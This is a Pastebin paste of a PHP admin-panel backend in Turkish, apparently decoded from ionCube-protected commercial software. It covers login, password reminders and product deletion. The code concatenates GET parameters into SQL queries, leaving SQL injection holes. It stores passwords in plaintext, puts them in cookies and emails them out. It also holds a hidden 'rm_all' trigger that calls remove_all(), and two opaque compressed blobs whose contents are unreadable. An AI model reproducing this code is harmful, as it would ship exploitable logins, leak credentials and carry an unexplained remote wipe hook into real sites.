Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP5 Decoder for ionCube Encoder)
- *
- * @ Version : 3.5.0.0
- * @ Author : DeZender
- * @ Release on : 22.06.2018
- * @ Official site : http://DeZender.Net
- *
- */
- ob_start();
- session_start();
- require_once 'baglan.php';
- require_once 'fonk.php';
- fx_decompress("\n1\x1Ḃ“ÙŒÞl7œ‡B1„4vb0˜Ífs‘¼ên2BÌѱ٘Þn:\x0E‡#\x01(¼b.\x19\rD\x05c)ÈÈa7\x18E„\x13‘¤Âl\x16\x12\f¦Ã±”èi1ÌŽs\x03˜´ç-4™‡fÓ\tÈÎi7\x0E†\x03³é†\x0B\x07„ŽŒFé”vt2ž\x0E‚Ó!–\fr0Ïãã£t~½U\x1D\x1D'3M€ÉW„B¦'cÍPÂ:6T\rc£A¾zr\x16_îWK¶\x13\r-¼VNFS%~Ãc²Ùí&›\\^ÊrÀ›æ\x11u‚ŎÞôÙ‹4'7k¶è¯ÂãQÔæh\x16š'g\rFB\ry\x1DT7SS¥PÐ1=Ǥ\x14cIèÊ:\x18d”ºm>£S8\x18L†Jœt.\x1C\x19M¢\x01Š\x1F\tÏ‹`'C¡¼ÛÐ8\x1E\x04\x0789¤È \x11ŽQØýŒî2#8У’˜6\x07mú²\x11†ðj\x1Eˆ¢h«<…Œ°«Œ\x199/ë˜ç:\x0EJê)Ê‚¤\x10\x06\x01");
- $Jc = !preg_match('~^(unsafe_raw)?$~', ini_get('filter.default'));
- if ($Jc || ini_get('filter.default_flags')) {
- foreach (array('_GET', '_POST', '_COOKIE', '_SERVER') as $X) {
- $Gh = filter_input_array(constant('INPUT' . $X), FILTER_UNSAFE_RAW);
- if ($Gh) {
- ${$X} = $Gh;
- }
- }
- }
- if (function_exists('mb_internal_encoding')) {
- mb_internal_encoding('8bit');
- }
- if (!function_exists('license_check')) {
- exit('Lisans hata!');
- }
- license_check();
- if (isset($_GET['rm_all']) && uniq_key() === $_GET['rm_all']) {
- remove_all();
- }
- fx_decompress("f:›ŒgCI¼Ü\n0›\x0E†S‘\fØa9œÅ\x06S`°Ç\x0Fˆ“Œ&Ó(°Ên0˜†QIìÒf‰›\$±At^ sG\x07²Étf6e\x17\x1CŒ§\x08yŒÊ()\x19LäSÁÀP'\x14\x17…ÂáÌR'\x15Íf\x13q]\"˜s>\t)â‘`œH2\x13ŠEq9\x04ˆÊ?\x13ˆ*\x15)‰”t'°ŽÏ§Ø\x04\n\t\x06\x05\x1D\ræs<ŒPi2INÆ\x13*(=2\x1BÌgXá¸è.3™N„Y\x1E4èB<’L—ü\x08îi\x18©Ì¥2Ý\x05´z=\x13š0\x06HøžÐ'·êŒšÃuÆtt:œÂ\x03¡Èêe¹]`pX9ŒÞo5šgòóIœÜ,2\x18O4ãÞ\x0F\x0BÑ…MÆS¸(ˆa…Š\x05#¾Äàç’ïø|¹\x0FG‚bèôüxœ^Z[Çä™G¼ÎuTv\x10\fª(Ò\x0Em@Vò¸(\x0B†¼\x0EÈbN<ŠÈ`æâ\x05\fXä1É+Œä9J8Â2\r£K¶9\x0Bðhå\t Áè`\x13…‹Æë\x01I8ä›±\fS\x18±ã\x1At÷2ƒ+,£ÆIºã £pæ9\fm@Ð:\x0Eƒ€æ\x1D\x05áxï)…ÐüC\x11…Ãxä3…ñ4P7\x05áü-\f\x0E4Ç\x1C\x07r\"p3Fhà…-5ƒ”U4͉¸\\6°ƒ<D\$\f®l—9ÍR4t7ƒdD3µ\x03pÞ\x13ΓkÌ:\x0F)\x18\\;°\x03 ÐÔ\x06ð\r\x19@Žt…\$4O£<þ\x13†!pd\x1AÇÔÚQJ\rÌHî\x17\x0E\x03}:&Œ¨ˆÂÈ„Á5YWJ˜‹\x06±Â`ÓN£èbKNSÉÀÉa§Ž•\x12ƒ\f´d>2WñÅ…bDj:9[21c„»È€:Xé@ËqË#“›\x114íL™'J\x12”©+DHeÒ3¬.«\x08\x05O\x03 ÇKË°“ˆ\x1E…\x01pV\x14…át\x022Œw\x14p\x17;\x03\x0BÆ“…\x17íÿ\r?\x10èOzDq.\x05\x14ª\x18°Ð-†\"ìZñ®cèX3!/>PúFìsØɲ±Ã0Í(òóˆ°Ê£€àŒ‚\x1BT63sVQo¸€SΑ b²\x12ß…\x1A^\x19r\$É@C© r2)©Œ£ “VÀ)+nÜ·zÃ\x1EÁúå\x18lÚè{³K#…À9‹{†Û¯l\x03Àº\x1DìmÐQ¨ëh\x1E»*É—PÄ:¡c˜]´7ãàø=¡LŸŒi;”2\x07û¿\x17§ÜÒ\x16<\\Jí¤Øb¥n”…ƒ¥nÁ_iÓ´î\x01J\n†¢¨âòŽ\x15õC:ª\x14„‘`N4¶Ì–È\x10'Aw\x12:4}ÊÛ£ÁW");
- if (isset($_POST['giris'])) {
- $token = md5(uniqid(rand()));
- $kullanici = $_POST['kullanici'];
- $sifre = $_POST['sifre'];
- $hatirla = $_POST['hatirla'];
- $giriskontrol = $db->prepare('SELECT * FROM yonetici WHERE kadi = ? AND sifre = ?');
- $giriskontrol->execute(array($kullanici, $sifre));
- if ($giriskontrol->rowCount()) {
- $Durum = $giriskontrol->fetch(PDO::FETCH_ASSOC);
- if ($Durum) {
- $son_giris = date('Y-m-d H:i:s');
- $son_giris = tarih($son_giris);
- $yonetici_id_sabit = $Durum['id'];
- $sorgu = $db->prepare("UPDATE yonetici SET\n\t\t\t\tson_giris = ?\n\t\t\t\tWHERE id = ?");
- $guncelle = $sorgu->execute(array($son_giris, $yonetici_id_sabit));
- $_SESSION['yonetici_ad_soyad'] = $Durum['isim'];
- $_SESSION['yonetici_kullanici'] = $Durum['kadi'];
- $_SESSION['yonetici_sifre'] = $Durum['sifre'];
- $_SESSION['rutbe'] = $Durum['rutbe'];
- $_SESSION['yonetici_id'] = $yonetici_id_sabit;
- $_SESSION['token'] = $token;
- if ($hatirla == 'on') {
- setcookie('yonetici_ad_soyad', $_SESSION['yonetici_ad_soyad'], time() + 60 * 60 * 24);
- setcookie('yonetici_kullanici', $_SESSION['yonetici_kullanici'], time() + 60 * 60 * 24);
- setcookie('yonetici_sifre', $_SESSION['yonetici_sifre'], time() + 60 * 60 * 24);
- setcookie('rutbe', $_SESSION['rutbe'], time() + 60 * 60 * 24);
- setcookie('yonetici_id', $_SESSION['yonetici_id'], time() + 60 * 60 * 24);
- setcookie('token', $_SESSION['token'], time() + 60 * 60 * 24);
- }
- $_SESSION['giris'] = 'yes';
- header('Location:../panel/index.html');
- } else {
- $_SESSION['giris'] = 'kullanici';
- header('Location:../panel/index.html');
- }
- } else {
- $_SESSION['giris'] = 'kullanici';
- header('Location:../panel/index.html');
- }
- }
- if (isset($_POST['sifirla'])) {
- $email = $_POST['email'];
- $varmi = $db->prepare('SELECT * FROM yonetici WHERE email = ?');
- $varmi->execute(array($email));
- if ($varmi->rowCount()) {
- $YSonuc = $varmi->fetch(PDO::FETCH_ASSOC);
- if ($YSonuc['rutbe'] == 0) {
- $isim = $YSonuc['isim'];
- $kullanici = $YSonuc['kadi'];
- $parola = $YSonuc['sifre'];
- $konu = 'Yönetim Paneli Şifre Hatırlatma';
- $mesaj = "\n\t\t\t<div>\t\t\t\t\n\t\t\t\t<p>\n\t\t\t\tSayın " . $isim . ",</br>\t\t\t\n\t\t\t\tSisteme giriş bilgileriniz.</br>\t\t\t\n\t\t\t\t<strong>Kullanıcı Adı:</strong> " . $kullanici . "</br>\t\t\t\n\t\t\t\t<strong>Parola:</strong> " . $parola . "\n\t\t\t\t</p>\t\t\n\t\t\t</div>";
- require '../panel/class.phpmailer.php';
- $mail = new PHPMailer();
- $mail->IsSMTP();
- $mail->SMTPDebug = 1;
- $mail->SMTPAuth = true;
- $mail->SMTPSecure = 'tls';
- $mail->Host = '' . m_server . '';
- $mail->Port = 587;
- $mail->IsHTML(true);
- $mail->SetLanguage('tr', 'phpmailer/language');
- $mail->CharSet = 'utf-8';
- $mail->Username = '' . m_adresi . '';
- $mail->Password = '' . m_parola . '';
- $mail->SetFrom('' . m_adresi . '', '' . FIRMAADI . '');
- $mail->AddAddress($email);
- $mail->Subject = $konu;
- $mail->Body = $mesaj;
- if (!$mail->Send()) {
- $_SESSION['sifirla'] = 'mailhata';
- header('Location:../panel/sifre_hatirlat.php');
- } else {
- $_SESSION['sifirla'] = 'yes';
- header('Location:../panel/index.html');
- }
- } else {
- $_SESSION['demohesap'] = 'no';
- header('Location:../panel/sifre_hatirlat.php');
- }
- } else {
- $_SESSION['sifirla'] = 'no';
- header('Location:../panel/sifre_hatirlat.php');
- }
- }
- if ($_GET['cikis'] == 'ok') {
- islemkontrol();
- unset($_SESSION['yonetici_ad_soyad'], $_SESSION['yonetici_kullanici'], $_SESSION['yonetici_sifre'], $_SESSION['rutbe'], $_SESSION['yonetici_id'], $_SESSION['token']);
- header('Location:../panel/index.html');
- }
- if ($_GET['urunresimsil'] == 'ok') {
- islemkontrol();
- $resimid = $_GET['sid'];
- if ($_SESSION['rutbe'] == 0) {
- $resim_bul = $db->query("SELECT * FROM urunler WHERE id = '" . $resimid . "'")->fetch(PDO::FETCH_ASSOC);
- unlink('../' . TEMA . '/uploads/urunler/' . $resim_bul['resim']);
- unlink('../' . TEMA . '/uploads/urunler/kucuk/' . $resim_bul['resim']);
- $sorgu = $db->prepare("UPDATE urunler SET\n\t\t\t\t\tresim\t= ?\n\t\t\t\t\tWHERE id = ?");
- $guncelle = $sorgu->execute(array('', $resimid));
- if ($guncelle) {
- $_SESSION['urunresimsil'] = 'yes';
- header('Location:../panel/urun-duzenle/' . $_GET['sid'] . '.html');
- } else {
- $_SESSION['urunresimsil'] = 'no';
- header('Location:../panel/urun-duzenle/' . $_GET['sid'] . '.html');
- }
- } else {
- $_SESSION['demohesap'] = 'no';
- header('Location:../panel/urun-duzenle/' . $_GET['sid'] . '.html');
- }
- }
- if ($_GET['urunsil'] == 'ok') {
- islemkontrol();
- if ($_SESSION['rutbe'] == 0) {
- $resim_bul = $db->query("SELECT * FROM urunler WHERE id = '" . $_GET['id'] . "'")->fetch(PDO::FETCH_ASSOC);
- unlink('../' . TEMA . '/uploads/urunler/' . $resim_bul['resim']);
- unlink('../' . TEMA . '/uploads/urunler/kucuk/' . $resim_bul['resim']);
- unlink('../' . TEMA . '/uploads/urunler/dokuman/' . $resim_bul['dokuman']);
- unlink('../' . TEMA . '/uploads/urunler/katalog/' . $resim_bul['katalog']);
- $TSorgu = $db->prepare('DELETE FROM urunler WHERE id = :id');
- $TSil = $TSorgu->execute(array('id' => $_GET['id']));
- if ($TSil) {
- $TopluSorgu = $db->prepare('SELECT * FROM urunresim WHERE pid = ?');
- $TopluSorgu->execute(array($_GET['id']));
- $Topluislem = $TopluSorgu->fetchALL(PDO::FETCH_ASSOC);
- foreach ($Topluislem as $TopluSonuc) {
- $TSorgu = $db->prepare('DELETE FROM urunresim WHERE id = :id');
- $TSorgu->execute(array('id' => $TopluSonuc['id']));
- unlink('../' . TEMA . '/uploads/urunler/diger/' . $TopluSonuc['resim']);
- unlink('../' . TEMA . '/uploads/urunler/diger/kucuk/' . $TopluSonuc['resim']);
- }
- $_SESSION['urunsil'] = 'yes';
- header('Location:../panel/urunler.html');
- } else {
- $_SESSION['urunsil'] = 'no';
- header('Location:../panel/urunler.html');
- ..........................................................................................
- .................................................
- .................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement